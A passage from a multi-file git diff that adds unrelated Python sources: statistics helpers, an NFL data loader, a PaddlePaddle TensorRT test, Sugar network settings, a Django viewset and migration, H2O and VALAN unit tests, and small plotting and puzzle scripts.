the mean and standard deviation of. + ''' + try: + mean = float(sum(data)) / len(data) + std = math.sqrt(sum([(value - mean) ** 2 for value in data]) + / len(data)) + return mean, std + except (ZeroDivisionError, TypeError): + return 0, 0 + + +def binaryCounter(bits): + ''' + Creates a generator that will count through all possible values for a set + number of bits. Returned in counting order. For instance, + ``binaryCounter(3)`` will yield, 000, 001, 010, 011 ... 110, 111. + + Parameters: + + - ``bits`` The number of bits in the binary counter. + ''' + return itertools.product((0, 1), repeat=bits) diff --git a/pool/shard000/Python/0008199_projected.py b/pool/shard000/Python/0008199_projected.py new file mode 100644 index 0000000000000000000000000000000000000000..4aa11ffc7ebcc87834665dd8e9055b6d58dfcd71 --- /dev/null +++ b/pool/shard000/Python/0008199_projected.py @@ -0,0 +1,109 @@ +from pkg_resources import resource_stream +from toolz import memoize, curry +import yaml +import numpy as np +import pandas as pd + +from nfldata import lookup + + +def load_by_week(connection, week_loader, weeks_by_season, **kwargs): + all_dfs = [] + for season_year, weeks in weeks_by_season.items(): + for week in weeks: + if 'season_type' in kwargs: + season_type = kwargs['season_type'] + elif week > 17: + season_type = 'Postseason' + else: + season_type = 'Regular' + + week_df = week_loader(season_year=season_year, week=week) + week_df['season_year'] = season_year + week_df['week'] = week + week_df['season_type'] = season_type + all_dfs.append(week_df) + + df = pd.concat(all_dfs, ignore_index=True) + return sanitize(connection, df, **kwargs) + + +def sanitize(connection, df, idp=False, source=''): + df.columns = [get_column_renames().get(standardize_str(col), standardize_str(col)) for col in df.columns] + df = df.drop(df.index[df['team'] == 'FA'], axis=0) + df = df.drop( + df.index[np.array( + [(row['name'], row['pos']) in get_ignored_players() + for _, row in df.iterrows()]), + ], axis=0, + ) + + if 'bye' in df: + df = df.drop(df.index[df['bye'] == df['week']], axis=0) + + if not idp: + df = df.drop([col for col in df if col.startswith('idp')], axis=1) + df = df.drop(df.index[df['pos'].isin({'DL', 'LB', 'DB'})], axis=0) + + df = df.drop(df.columns[df.apply(all_same_or_null)], axis=1) + + if source.lower() == 'fantasyfootballanalytics': + df = df.drop([ + 'passing_cmp_pct', + 'receiving_rec', + 'receiving_tds', + 'ret_tds', + 'ret_yds', + '40_yd_passes', + '40_yd_recs', + '40_yd_rushes', + 'bye', + 'kicking_fgm_0_19', + 'kicking_fgm_20_29', + 'kicking_fgm_30_39', + 'kicking_fgm_40_49', + 'kicking_fgm_50p', + ], axis=1) + + df = pd.concat([ + df, + df.apply(_id_from_row(connection, lookup_home='home' not in df, lookup_opp='opp' not in df), axis=1) + ], axis=1) + df['player_id'] = [lookup.player_id(connection, row['name'], row['pos'], team=row['team']) + for _, row in df.iterrows()] + + return df.set_index(['gsis_id', 'player_id']).sort_index() + + +def standardize_str(str_): + return str_.lower().replace(' ', '_') + + +def all_same_or_null(series): + # Some columns we short-circuit in order to always keep. + if series.name in { + 'season_year', + 'season_type', + 'week', + 'team', + 'gsis_id', + }: + return False + return len(set(series.unique()) - {np.nan}) < 2 + + +@curry +def _id_from_row(connection, row, **kwargs): + return lookup.gsis_id(connection, row['season_year'], row['week'], row['team'], + season_type=row['season_type'], **kwargs) + + +@memoize +def get_ignored_players(): + return [tuple(player.split('; ')) + for player in yaml.load(resource_stream(__name__, 'data/ignored_players.yaml'))] + + +@memoize +def get_column_renames(): + return yaml.load(resource_stream(__name__, 'data/column_renames.yaml')) diff --git a/pool/shard000/Python/0008200_test_trt_convert_pad.py b/pool/shard000/Python/0008200_test_trt_convert_pad.py new file mode 100644 index 0000000000000000000000000000000000000000..446f7717e3b504c1c7f8e4eb6904bc5225e76cb3 --- /dev/null +++ b/pool/shard000/Python/0008200_test_trt_convert_pad.py @@ -0,0 +1,138 @@ +# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from trt_layer_auto_scan_test import TrtLayerAutoScanTest, SkipReasons +from program_config import TensorConfig, ProgramConfig +import numpy as np +import paddle.inference as paddle_infer +from functools import partial +from typing import Optional, List, Callable, Dict, Any, Set +import unittest + + +class TrtConvertPadTest(TrtLayerAutoScanTest): + def is_program_valid(self, program_config: ProgramConfig) -> bool: + inputs = program_config.inputs + weights = program_config.weights + attrs = [ + program_config.ops[i].attrs + for i in range(len(program_config.ops)) + ] + + if attrs[0]['pad_value'] != 0.0: + return False + for x in attrs[0]['paddings']: + if x < 0: + return False + + return True + + def sample_program_configs(self): + def generate_input1(attrs: List[Dict[str, Any]]): + return np.ones([1, 3, 64, 64]).astype(np.float32) + + def generate_weight1(attrs: List[Dict[str, Any]]): + return np.random.random([24, 3, 3, 3]).astype(np.float32) + + for pad_value in [0.0, 1.0, 2.0, -100, 100.0]: + for paddings in [[0, 0, 0, 0, 1, 1, 1, 1], + [0, 0, 0, 0, 1, 2, 3, 4], + [0, 0, 1, 1, 1, 1, 1, 1], + [0, 0, 0, 0, -1, -1, 1, 1]]: + dics = [{"pad_value": pad_value, "paddings": paddings}, {}] + + ops_config = [{ + "op_type": "pad", + "op_inputs": { + "X": ["input_data"] + }, + "op_outputs": { + "Out": ["pad_output_data"] + }, + "op_attrs": dics[0] + }] + ops = self.generate_op_config(ops_config) + + program_config = ProgramConfig( + ops=ops, + weights={}, + inputs={ + "input_data": + TensorConfig(data_gen=partial(generate_input1, dics)) + }, + outputs=["pad_output_data"]) + + yield program_config + + def sample_predictor_configs( + self, program_config) -> (paddle_infer.Config, List[int], float): + def generate_dynamic_shape(attrs): + self.dynamic_shape.min_input_shape = {"input_data": [1, 3, 32, 32]} + self.dynamic_shape.max_input_shape = {"input_data": [4, 3, 64, 64]} + self.dynamic_shape.opt_input_shape = {"input_data": [1, 3, 64, 64]} + + def clear_dynamic_shape(): + self.dynamic_shape.min_input_shape = {} + self.dynamic_shape.max_input_shape = {} + self.dynamic_shape.opt_input_shape = {} + + def generate_trt_nodes_num(attrs, dynamic_shape): + for x in range(len(program_config.ops[0].attrs['paddings']) - 4): + if program_config.ops[0].attrs['paddings'][x] != 0: + return 0, 3 + return 1, 2 + + attrs = [ + program_config.ops[i].attrs + for i in range(len(program_config.ops)) + ] + + # for static_shape + clear_dynamic_shape() + self.trt_param.precision = paddle_infer.PrecisionType.Float32 + yield self.create_inference_config(), generate_trt_nodes_num( + attrs, False), 1e-5 + self.trt_param.precision = paddle_infer.PrecisionType.Half + yield self.create_inference_config(), generate_trt_nodes_num( + attrs, False), 1e-2 + + # for dynamic_shape + generate_dynamic_shape(attrs) + self.trt_param.precision = paddle_infer.PrecisionType.Float32 + yield self.create_inference_config(), generate_trt_nodes_num(attrs, + True), 1e-5 + self.trt_param.precision = paddle_infer.PrecisionType.Half + yield self.create_inference_config(), generate_trt_nodes_num(attrs, + True), 1e-2 + + def add_skip_trt_case(self): + def teller1(program_config, predictor_config): + for x in range(len(program_config.ops[0].attrs['paddings']) - 4): + if program_config.ops[0].attrs['paddings'][x] != 0: + return True + return False + + self.add_skip_case( + teller1, SkipReasons.TRT_NOT_IMPLEMENTED, + "NOT Implemented: we need to add support pad not only inplement on h or w, such as paddings = [0, 0, 1, 1, 1, 1, 1, 1]" + ) + pass + + def test(self): + self.add_skip_trt_case() + self.run_test() + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard000/Python/0008201_model.py b/pool/shard000/Python/0008201_model.py new file mode 100644 index 0000000000000000000000000000000000000000..586bbd4549c69d53c7633ced20d394b14755bce9 --- /dev/null +++ b/pool/shard000/Python/0008201_model.py @@ -0,0 +1,201 @@ +# Copyright (C) 2008 One Laptop Per Child +# Copyright (C) 2014 Sugar Labs, Frederick Grose +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# + +import logging + +import dbus +from gettext import gettext as _ +from gi.repository import Gio +from gi.repository import NMClient + +from jarabe.model import network + + +KEYWORDS = ['network', 'jabber', 'radio', 'server', 'social', 'help'] + + +class ReadError(Exception): + def __init__(self, value): + self.value = value + + def __str__(self): + return repr(self.value) + + +def get_social_help(): + settings = Gio.Settings('org.sugarlabs.collaboration') + return settings.get_string('social-help-server') + + +def set_social_help(server): + """ + Set the social-help server + + e.g. 'https://use-socialhelp.sugarlabs.org' + """ + settings = Gio.Settings('org.sugarlabs.collaboration') + server = server.strip().rstrip('/') + # Don't add http:// to a null input + if server and '://' not in server: + server = 'http://' + server + settings.set_string('social-help-server', server) + + +def get_jabber(): + settings = Gio.Settings('org.sugarlabs.collaboration') + return settings.get_string('jabber-server') + + +def print_jabber(): + print get_jabber() + + +def set_jabber(server): + """Set the jabber server + server : e.g. 'olpc.collabora.co.uk' + """ + settings = Gio.Settings('org.sugarlabs.collaboration') + settings.set_string('jabber-server', server) + + # DEPRECATED + from gi.repository import GConf + client = GConf.Client.get_default() + client.set_string('/desktop/sugar/collaboration/jabber_server', server) + + return 0 + + +def get_radio(): + try: + nm_client = NMClient.Client() + return nm_client.wireless_get_enabled() + except: + raise ReadError(_('State is unknown.')) + + +def print_radio(): + print ('off', 'on')[get_radio()] + + +def set_radio(state): + """Turn Radio 'on' or 'off' + state : 'on/off' + """ + try: + state = state or state == 'on' or state == 1 + nm_client = NMClient.Client() + nm_client.wireless_set_enabled(state) + except: + raise ValueError(_('Error in specified radio argument use on/off.')) + + +def clear_registration(): + """Clear the registration with the schoolserver + """ + settings = Gio.Settings('org.sugarlabs') + settings.set_string('backup-url', '') + + # DEPRECATED + from gi.repository import GConf + client = GConf.Client.get_default() + client.set_string('/desktop/sugar/backup_url', '') + return 1 + + +wifi_whitelist = ('Sugar Ad-hoc Network 1', + 'Sugar Ad-hoc Network 6', + 'Sugar Ad-hoc Network 11') +mesh_whitelist = ('OLPC Mesh Network 1', + 'OLPC Mesh Network 6', + 'OLPC Mesh Network 11', + 'OLPC XS Mesh Network 1', + 'OLPC XS Mesh Network 6', + 'OLPC XS Mesh Network 11') + + +def is_wireless(connection): + """Check for wireless connection not whitelisted by Sugar. + """ + wifi_settings = connection.get_settings( + network.NM_CONNECTION_TYPE_802_11_WIRELESS) + if wifi_settings: + return not (wifi_settings['mode'] == 'adhoc' and + connection.get_id() in wifi_whitelist) + + mesh_settings = connection.get_settings( + network.NM_CONNECTION_TYPE_802_11_OLPC_MESH) + if mesh_settings: + return not connection.get_id() in mesh_whitelist + + +def clear_wireless_networks(): + """Remove all wireless connections except Sugar-internal ones. + """ + try: + connections = network.get_connections() + except dbus.DBusException: + logging.debug('NetworkManager not available') + else: + wireless_connections = \ + (connection for connection in + connections.get_list() if is_wireless(connection)) + + for connection in wireless_connections: + try: + connection.delete() + except dbus.DBusException: + logging.debug("Could not remove connection %s", + connection.get_id()) + + +def have_wireless_networks(): + """Check that there are non-Sugar-internal wireless connections. + """ + try: + connections = network.get_connections() + except dbus.DBusException: + logging.debug('NetworkManager not available') + return False + else: + return any(is_wireless(connection) + for connection in connections.get_list()) + + +def get_publish_information(): + settings = Gio.Settings('org.sugarlabs.collaboration') + publish = settings.get_boolean('publish-gadget') + return publish + + +def print_publish_information(): + print get_publish_information() + + +def set_publish_information(value): + """ If set to true, Sugar will make you searchable for + the other users of the Jabber server. + value: 0/1 + """ + try: + value = (False, True)[int(value)] + except: + raise ValueError(_('Error in specified argument use 0/1.')) + + settings = Gio.Settings('org.sugarlabs.collaboration') + settings.set_boolean('publish-gadget', value) + return 0 diff --git a/pool/shard000/Python/0008203_unit_redirect_viewset.py b/pool/shard000/Python/0008203_unit_redirect_viewset.py new file mode 100644 index 0000000000000000000000000000000000000000..fc254f40eb037d1d297f7b2654dc46053b9d447d --- /dev/null +++ b/pool/shard000/Python/0008203_unit_redirect_viewset.py @@ -0,0 +1,54 @@ +from urllib.parse import parse_qs + +from django.http import QueryDict +from rest_framework import status, viewsets +from rest_framework.response import Response + +from services.models.service_mapping import ServiceMapping + + +class UnitRedirectViewSet(viewsets.ViewSet): + """ + Implement redirecting from old TPR v3 service id + based filters in unit endpoint to new TPR v4 ontologytree node ids. + + """ + + def _malformed_error(self): + return Response( + {"error": "malformed service id"}, status=status.HTTP_404_NOT_FOUND + ) + + def list(self, request): + params = self.request.query_params.copy() + service_id_param = None + try: + service_id_param = params.pop("service") + except KeyError: + return self._malformed_error() + if not service_id_param or len(service_id_param) == 0: + return self._malformed_error() + try: + service_ids = [str(int(s)) for s in service_id_param[0].split(",")] + except ValueError: + return self._malformed_error() + queryset = ServiceMapping.objects.filter(service_id__in=service_ids) + if queryset.count() == 0: + return Response( + {"message": "service id not found"}, status=status.HTTP_404_NOT_FOUND + ) + return Response(self._generate_redirect_parameters(queryset, params)) + + def _generate_redirect_parameters(self, queryset, params): + for mapping in queryset: + params.appendlist("service_node", str(mapping.node_id.id)) + additional_filter = parse_qs(mapping.filter) + for k, val in additional_filter.items(): + for x in val: + params.appendlist(k, x) + + final_query = QueryDict().copy() + for key, val in params.lists(): + final_query[key] = ",".join(val) + + return final_query diff --git a/pool/shard000/Python/0008204_runtests.py b/pool/shard000/Python/0008204_runtests.py new file mode 100644 index 0000000000000000000000000000000000000000..7afcf6eb997ff9e59efc0a972a5c5cf0f3d125a0 --- /dev/null +++ b/pool/shard000/Python/0008204_runtests.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +# Adapted from https://raw.githubusercontent.com/hzy/django-polarize/master/runtests.py + +import sys + +from django.conf import settings +from django.core.management import execute_from_command_line + + +if not settings.configured: + settings.configure( + DATABASES={ + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + } + }, + INSTALLED_APPS=( + 'damn', + 'tests', + ) + ) + + +def runtests(): + argv = sys.argv[:1] + ['test', 'tests'] + execute_from_command_line(argv) + + +if __name__ == '__main__': + runtests() diff --git a/pool/shard000/Python/0008208_building_test.py b/pool/shard000/Python/0008208_building_test.py new file mode 100644 index 0000000000000000000000000000000000000000..46b77ed2ec8b506eb351c05ac18e0ebc2c7f3097 --- /dev/null +++ b/pool/shard000/Python/0008208_building_test.py @@ -0,0 +1,119 @@ + +import pprint +pp = pprint.PrettyPrinter( indent = 4 ) +import re +import threading +import timeit + +import os, sys +bindir = os.path.abspath(os.path.dirname(sys.argv[0])) +libdir = bindir + "/../lib" +sys.path.append(libdir) + +import lacuna as lac + +glc = lac.clients.Member( + config_file = bindir + "/../etc/lacuna.cfg", + config_section = 'play_test', +) +my_planet = glc.get_body_byname( 'bmots support 01' ) + + + +### Finding a building (the hard way) +#list_buildings(my_planet) # I deleted this function; see body_test.py if you really want it back. +#quit() +### ...read the output, find the building you want, copy its ID, then: +#sp = my_planet.get_building_id( 'spaceport', ) +#print( sp.image ) + + +### Finding a building by coords (easy) +### +#sp = my_planet.get_building_coords( 1, -3 ) +#print( sp.image ) + + +### Finding a building by building type (also easy) +### just remember this returns a list. +### +#sp = my_planet.get_buildings_bytype( 'spaceport', 0, 1 )[0] +#print( sp.image ) + + +### Build new +### Make sure to set the coords (args to build()) to an available plot. +### +#sp = my_planet.get_new_building( 'spaceport' ) +#sp.build(5, -2) +#print( "My new spaceport started building on {} and will finish on {}, which will take {} seconds." +# .format(sp.pending_build.start, sp.pending_build.end, sp.pending_build.seconds) +#) +### +### This is a little wordy, but you've also got access to the start/end times +### as datetime objects, and the build duration as a lacuna.bc.ElapsedTime +### object: +#print( "My new spaceport will finish on {}-{}-{}. That's {} days, {} hours, {} minutes, and {} seconds." +# .format( +# sp.pending_build.end_dt.year, +# sp.pending_build.end_dt.month, +# sp.pending_build.end_dt.day, +# sp.pending_build.seconds_el.days, +# sp.pending_build.seconds_el.hours, +# sp.pending_build.seconds_el.minutes, +# sp.pending_build.seconds_el.seconds, +# ) +#) + + +### Demolish +### CAREFUL WITH UNCOMMENTING THIS +### Run the "Build new" block above first, then copy the building ID from its +### output and paste it as the second arg to get_building_id() below. +#sp = my_planet.get_building_id( 'spaceport', 4734912 ) +#print( "Before demo:", sp.id ) +#sp.demolish() +### This would throw an AttributeError - the id no longer exists after +### demolition (this is as it should be). +### print( "After demo:", sp.id ) + +### Upgrade +### +### This method had to be renamed to do_upgrade. See the comments in +### building.py - search for "do_" in there, and make sure to document this +### behavior somewhere more reasonable. +### +### Otherwise, this works. +#sp = my_planet.get_building_coords( 1, -3 ) +#sp.do_upgrade() + + +### Downgrade +### +### This method had to be renamed with the "^do_" the same way and for the +### same reason as upgrade. Again, go make with the documentation. +### +### Again, this otherwise works. BE CAREFUL WITH TESTING THIS PLEASE +#sp = my_planet.get_building_coords( 2, -3 ) +#sp.do_downgrade() + +### Get stats for level +#sp = my_planet.get_building_coords( 2, -3 ) +#rv = sp.get_stats_for_level(16) +#pp.pprint( rv['building'] ) + +### Repair +### To test this, I demoed the citadel on one of my planets on PT and then +### snarked myself. I also needed to copy buildings/spaceport.py and make a +### new buildings module representing the buildings to fix, as well as add +### that new building module to buildings/__init__.py (or the eval in +### get_building_coords would blow up). +#test = lac.clients.Member( +# config_file = bindir + "/../etc/lacuna.cfg", +# config_section = 'play_test', +#) +#my_planet = test.get_body_byname( 'bmots support 01' ) +#sp = my_planet.get_building_coords( -3, 0 ) +#pp.pprint( sp.repair_costs ) +#rv = sp.repair() + diff --git a/pool/shard000/Python/0008212_0007_auto_20160417_1656.py b/pool/shard000/Python/0008212_0007_auto_20160417_1656.py new file mode 100644 index 0000000000000000000000000000000000000000..9ce42315a8b16de62e670421fc0401a821af1d4f --- /dev/null +++ b/pool/shard000/Python/0008212_0007_auto_20160417_1656.py @@ -0,0 +1,31 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9.5 on 2016-04-17 16:56 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('attendance', '0006_auto_20160417_0955'), + ] + + operations = [ + migrations.CreateModel( + name='Keys', + fields=[ + ('id', models.CharField(max_length=10, primary_key=True, serialize=False)), + ('key_type', models.CharField(blank=True, max_length=4, null=True)), + ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), + ], + ), + migrations.AddField( + model_name='swipe', + name='source', + field=models.CharField(blank=True, max_length=5, null=True), + ), + ] diff --git a/pool/shard000/Python/0008219_pyunit_binop2_neq.py b/pool/shard000/Python/0008219_pyunit_binop2_neq.py new file mode 100644 index 0000000000000000000000000000000000000000..dcf133e6c629e898f7a71a751c315b54f2340896 --- /dev/null +++ b/pool/shard000/Python/0008219_pyunit_binop2_neq.py @@ -0,0 +1,84 @@ +import sys +sys.path.insert(1, "../../../") +import h2o + +def binop_neq(ip,port): + + + + iris = h2o.import_file(path=h2o.locate("smalldata/iris/iris_wheader.csv")) + rows, cols = iris.dim() + iris.show() + + #frame/scaler + res = iris != 4.7 + res_rows, res_cols = res.dim() + assert res_rows == rows and res_cols == cols, "dimension mismatch" + new_rows = iris[res[0]].nrow() + assert new_rows == 148, "wrong number of rows returned" + + res = 3.5 != iris + res_rows, res_cols = res.dim() + assert res_rows == rows and res_cols == cols, "dimension mismatch" + new_rows = iris[res[1]].nrow() + assert new_rows == 144, "wrong number of rows returned" + + #frame/vec + #try: + # res = iris != iris[0] + # res.show() + # assert False, "expected error. objects of different dimensions not supported." + #except EnvironmentError: + # pass + + #try: + # res = iris[2] != iris + # res.show() + # assert False, "expected error. objects of different dimensions not supported." + #except EnvironmentError: + # pass + + #vec/vec + res = iris[0] != iris[1] + res_rows = res.nrow() + assert res_rows == rows, "dimension mismatch" + new_rows = iris[res].nrow() + assert new_rows == rows, "wrong number of rows returned" + + res = iris[2] != iris[2] + res_rows = res.nrow() + assert res_rows == rows, "dimension mismatch" + new_rows = iris[res].nrow() + assert new_rows == 0, "wrong number of rows returned" + + #vec/scaler + res = iris[0] != 4.7 + res_rows = res.nrow() + assert res_rows == rows, "dimension mismatch" + new_rows = iris[res].nrow() + assert new_rows == 148, "wrong number of rows returned" + + res = 3.5 != iris[1] + res_rows = res.nrow() + assert res_rows == rows, "dimension mismatch" + new_rows = iris[res].nrow() + assert new_rows == 144, "wrong number of rows returned" + + # frame/frame + res = iris != iris + res_rows, res_cols = res.dim() + assert res_rows == rows and res_cols == cols, "dimension mismatch" + + res = iris[0:2] != iris[1:3] + res_rows, res_cols = res.dim() + assert res_rows == rows and res_cols == 2, "dimension mismatch" + + #try: + # res = iris != iris[0:3] + # res.show() + # assert False, "expected error. frames are different dimensions." + #except EnvironmentError: + # pass + +if __name__ == "__main__": + h2o.run_test(sys.argv, binop_neq) diff --git a/pool/shard000/Python/0008221_plot.py b/pool/shard000/Python/0008221_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..15ddb8e58c70a2131506d8ec768e2a333a72832d --- /dev/null +++ b/pool/shard000/Python/0008221_plot.py @@ -0,0 +1,70 @@ +# -*- coding: utf-8 -*- + +import numpy as np +import sys +import matplotlib.pyplot as plt + +Nv = int(sys.argv[1]) +Nh = int(sys.argv[2]) +NT = int(sys.argv[3]) +NH = int(sys.argv[4]) +T = np.ndarray(NT) +H = np.ndarray(NH) +x = np.ndarray((NH, NT)) + +with open("F_T_H.dat", "r") as f: + i = 0 + for line in f: + fields = line.split(" ") + if i < NT: + T[i] = float(fields[1]) + if i % NT == 0: + H[i/NT] = float(fields[0]) + x[i/NT,i%NT] = float(fields[2]) + i += 1 + +for i in range(NH): + plt.plot(T, x[i], marker="x", label="$H = " + str(H[i]) + "$") +plt.grid(True) +plt.title("$N_v = " + str(Nv) + "$, $N_h = " + str(Nh) + "$") +plt.legend(loc=2) +plt.xlabel("$T$ $[J]$") +plt.ylabel("$F$ $[J]$") +plt.ylim(ymin=0) +plt.savefig("F_T_H.png") + +with open("m_T_H.dat", "r") as f: + i = 0 + for line in f: + fields = line.split(" ") + x[i/NT,i%NT] = float(fields[2]) + i += 1 + +plt.clf() +for i in range(NH): + plt.plot(T, x[i], marker="x", label="$H = " + str(H[i]) + "$") +plt.grid(True) +plt.title("$N_v = " + str(Nv) + "$, $N_h = " + str(Nh) + "$") +plt.legend(loc=1) +plt.xlabel("$T$ $[J]$") +plt.ylabel("$m = \\frac{M}{N} = \\frac{1}{N} \\, \\frac{\partial F}{\partial H} + 1$") +plt.ylim(0, 1) +plt.savefig("m_T_H.png") + +with open("chi_T_H.dat", "r") as f: + i = 0 + for line in f: + fields = line.split(" ") + x[i/NT,i%NT] = float(fields[2]) + i += 1 + +plt.clf() +for i in range(NH): + plt.plot(T, x[i], marker="x", label="$H = " + str(H[i]) + "$") +plt.grid(True) +plt.title("$N_v = " + str(Nv) + "$, $N_h = " + str(Nh) + "$") +plt.legend(loc=1) +plt.xlabel("$T$ $[J]$") +plt.ylabel("$\\chi = \\frac{\partial m}{\partial H} = \\frac{1}{N} \\, \\frac{\partial^2 F}{\partial H^2}$ $[1/J]$") +plt.ylim(0, 3.5) +plt.savefig("chi_T_H.png") diff --git a/pool/shard000/Python/0008223_leonardo_s_monorail.py b/pool/shard000/Python/0008223_leonardo_s_monorail.py new file mode 100644 index 0000000000000000000000000000000000000000..f70d7cec720092a8dea67ad7bd981efcb4e7c031 --- /dev/null +++ b/pool/shard000/Python/0008223_leonardo_s_monorail.py @@ -0,0 +1,71 @@ +""" +Jordi explained that a recursive search may not work as you might +first follow an extremely long path. +Thus, the process should be done by levels +""" +import os +from collections import defaultdict + + +class Computer: + + def __init__(self): + self.operations = {'cpy': self.copy, 'inc': self.add, 'dec': self.subs, 'jnz': self.jump} + self.registers = defaultdict(int) + self.instruction = 0 + + def run(self, program): + while self.instruction < len(program): + values = program[self.instruction].split(' ') + self.operations[values[0]](*(values[1:])) + self.instruction += 1 + + def get_val(self, v): + try: + return int(v) + except ValueError: + return self.registers[v] + + def copy(self, value, register): + self.registers[register] = self.get_val(value) + + def add(self, register): + self.registers[register] += 1 + + def subs(self, register): + self.registers[register] -= 1 + + def jump(self, register, amount): + if self.get_val(register) != 0: + self.instruction += (int(amount) - 1) + + + def get(self, register=None): + if register is None: + return self.registers + else: + return self.registers[register] + + + +if __name__ == '__main__': + dir = os.path.dirname(__file__) + file = os.path.join(dir, 'input.txt') + program = [] + with open(file) as fd: + for line in fd: + program.append(line.strip()) + + computer = Computer() + + computer.run(program) + + print('Part 1:', computer.get('a')) + + program = ['cpy 1 c'] + program + + computer = Computer() + + computer.run(program) + + print('Part 2:', computer.get('a')) diff --git a/pool/shard000/Python/0008226_discriminator_agent_test.py b/pool/shard000/Python/0008226_discriminator_agent_test.py new file mode 100644 index 0000000000000000000000000000000000000000..30f778264e26b6f447d533418aec6a1364d4bf32 --- /dev/null +++ b/pool/shard000/Python/0008226_discriminator_agent_test.py @@ -0,0 +1,233 @@ +# coding=utf-8 +# Copyright 2019 Google LLC +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Tests for valan.r2r.discriminator_agent.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import os +from absl import flags +from absl.testing import parameterized +import numpy as np +import tensorflow.compat.v2 as tf +from valan.framework import common +from valan.framework import hparam +from valan.framework import utils +from valan.r2r import agent_config +from valan.r2r import constants +from valan.r2r import discriminator_agent +from valan.r2r import env +from valan.r2r import env_config + +FLAGS = flags.FLAGS + + +class DiscriminatorTest(tf.test.TestCase, parameterized.TestCase): + + def setUp(self): + super(DiscriminatorTest, self).setUp() + self.data_dir = FLAGS.test_srcdir + ( + 'valan/r2r/testdata') + self._env_config = hparam.HParams( + problem='R2R', + scan_base_dir=self.data_dir, + data_base_dir=self.data_dir, + vocab_dir=self.data_dir, + vocab_file='vocab.txt', + images_per_pano=36, + max_conns=14, + image_encoding_dim=64, + direction_encoding_dim=256, + image_features_dir=os.path.join(self.data_dir, 'image_features'), + instruction_len=50, + max_agent_actions=6, + project_decoder_input_states=True, + use_all_final_states=False, + reward_fn=env_config.RewardFunction.get_reward_fn('distance_to_goal')) + + self._runtime_config = common.RuntimeConfig(task_id=0, num_tasks=100) + self._env = env.R2REnv( + data_sources=['R2R_small_split'], + runtime_config=self._runtime_config, + env_config=self._env_config) + self.num_panos = 36 + self.image_feature_size = 64 + self.direction_encoding_dim = 256 + self.num_actions = 14 + self.time_step = 3 + self.batch_size = 2 + done = np.array([[False, True], [True, False], [True, False]]) + self._test_environment = common.EnvOutput( + reward=0, + done=done, + observation={ + constants.PATH_ID: # Shape = [time, batch] + np.array([[2, 1], [0, 1], [0, 1]]), + constants.IS_START: # Shape = [time, batch] + np.array([[False, True], [True, False], [False, False]]), + constants.DISC_MASK: # Shape = [time, batch] + np.array([[False, True], [True, True], [True, True]]), + constants.PANO_ENC: # Shape = [time, batch, num_panos, featur_size] + tf.random.normal([ + self.time_step, self.batch_size, self.num_panos, + self.image_feature_size + self.direction_encoding_dim + ]), + constants.CONN_ENC: + # Shape = [time, batch, num_actions, feature_size] + tf.random.normal([ + self.time_step, self.batch_size, self.num_actions, + self.image_feature_size + self.direction_encoding_dim + ]), + constants.PREV_ACTION_ENC: + # Shape = [time, batch, feature_size] + tf.random.normal([ + self.time_step, self.batch_size, + self.image_feature_size + self.direction_encoding_dim + ]), + constants.NEXT_GOLDEN_ACTION_ENC: + # Shape = [time, batch, feature_size] + tf.random.normal([ + self.time_step, self.batch_size, + self.image_feature_size + self.direction_encoding_dim + ]), + constants.INS_TOKEN_IDS: # Shape = [time, batch, token_len] + np.array([[[5, 3, 2, 1, 0], [3, 4, 5, 6, 1]], + [[3, 6, 1, 0, 0], [3, 4, 5, 6, 1]], + [[3, 6, 1, 0, 0], [3, 4, 5, 6, 1]]]), + constants.INS_LEN: # Shape = [time, batch] + np.tile(np.array([[3]]), [self.time_step, self.batch_size]), + constants.VALID_CONN_MASK: + # Shape = [time, batch, num_connections] + np.tile( + np.array([[[True] * 14], [[True] * 5 + [False] * 9], + [[True] * 2 + [False] * 12]]), + [1, self.batch_size, 1]), + constants.LABEL: + # Shape = [time, batch] + np.array([[False, False], [True, False], [True, False]]) + }, + info='') + self._agent_config = agent_config.get_r2r_agent_config() + + def _get_agent(self, + agent_type, + init_with_text_state=True, + avg_all_img_states=False, + embed_action=True): + self._agent_config.add_hparam('init_image_enc_with_text_state', + init_with_text_state) + self._agent_config.add_hparam('average_image_states_of_all_steps', + avg_all_img_states) + self._agent_config.embed_action = embed_action + if agent_type == 'default': + self._agent = discriminator_agent.DiscriminatorAgent( + self._agent_config) + elif agent_type == 'v2': + self._agent = discriminator_agent.DiscriminatorAgentV2( + self._agent_config) + else: + raise ValueError('agent_type must be `default` or `v2`.') + + def test_call(self): + self._get_agent('default') + env_output = self._env.reset() + observation = tf.nest.map_structure(lambda t: tf.expand_dims(t, 0), + env_output.observation) + initial_agent_state = self._agent.get_initial_state( + observation, batch_size=1) + # Agent always expects time,batch dimensions. First add and then remove. + env_output = 